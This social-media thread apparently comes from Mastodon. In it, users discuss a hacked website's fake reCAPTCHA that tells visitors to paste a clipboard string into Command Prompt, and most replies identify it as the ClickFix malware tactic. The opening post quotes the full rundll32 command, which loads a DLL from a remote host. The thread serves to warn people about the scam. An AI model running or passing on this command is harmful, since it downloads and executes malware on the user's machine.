At first I thought thought I had found a candidate for "most horrifying reCAPTCHA process ever devised.

[deviantollam@defcon.social]

At first I thought thought I had found a candidate for "most horrifying reCAPTCHA process ever devised.

(UPDATE: OK, yeah, that as I suspected... this is just straight up malware. I spoke with the business and confirmed things with them.)

LOL, Would any of you ever trust a web site to:

1. inject a long text string into your clipboard

2. ask you to open Command Prompt

3. then expect you to blindly paste this long string into your Command Prompt and simply RUN it

If you're curious, this is the string it is asking users to paste and run in their command prompt...

rundll32.exe \\dynmeshex6.dax8sovel.in.net\05fe317c-0981-4de2-bc8a-930d369db441\ck-3d80df5d12cdfe6450a782fc87bf66b444.google,#1

[causeofbsod@wetdry.world]

@deviantollam its a hacked website. thats a fairly common malware tactic

[sarraceniawilds@sunny.garden]

@deviantollam lol what the fuck

[jerbear@kind.social]

@deviantollam this is 100% a social engineering attack, no legitimate website will do this

[varx@defcon.social]

@deviantollam Oh yeah, that's a classic scam . don't do it! That will download and run some dll that will do god knows what on your local box and lead you into their scam.

[xfavatax@haunted.computer]

@deviantollam yes this is a hacked site/malware. ClickFix campaign.

[fraggle@social.coop]

@deviantollam horrifying. I assume they're using rundll32 because Windows won't let you run an untrusted exe directly from a remote server path like that?

[paul_ipv6@infosec.exchange]

@deviantollam

wow... that's like telling someone to pick one of three random unlabelled liquids and chug it to get access to a food safety seminar...

[nothacking@infosec.exchange]

@deviantollam@defcon.social Definitely malware. It's quite a common trick. (aka clickfix)

[nanobookreview@zirk.us]

@deviantollam There's a 200% chance you're installing a virus you of all people should be able to sniff that one out.

[wooshell@chaosfurs.social]

@deviantollam You're lucky if you haven't encountered that before. This kind of scam has been around a a few years already, often on shady "driver update" sites and the like.

[alphactory@www.librepunk.club]

@deviantollam this is a common malware technique. They got pwned.

[arisummerland@beige.party]

@deviantollam Nooooo, and that totally looks like something my mom would fall for and then I would have to spend hours fixing her computer. Don't do it!

[walrus@toot.wales]

@deviantollam

I wouldn't touch that with somebody else's barge-pole.

[sollat@masto.ai]

@deviantollam
“You will observe and agree”? That’s not happening.

[toml@defcon.social]

@deviantollam Oh, HELL no!

[knova@lostcreek.social]

@deviantollam Indeed, Clickfix

[kravietz@agora.echelon.pl]

@deviantollam

Please report on https://safebrowsing.google.com/safebrowsin... as Malware > Web Malware

[deviantollam@defcon.social]

@foundthefault I'm fortunate enough to have never encountered it before. Wild.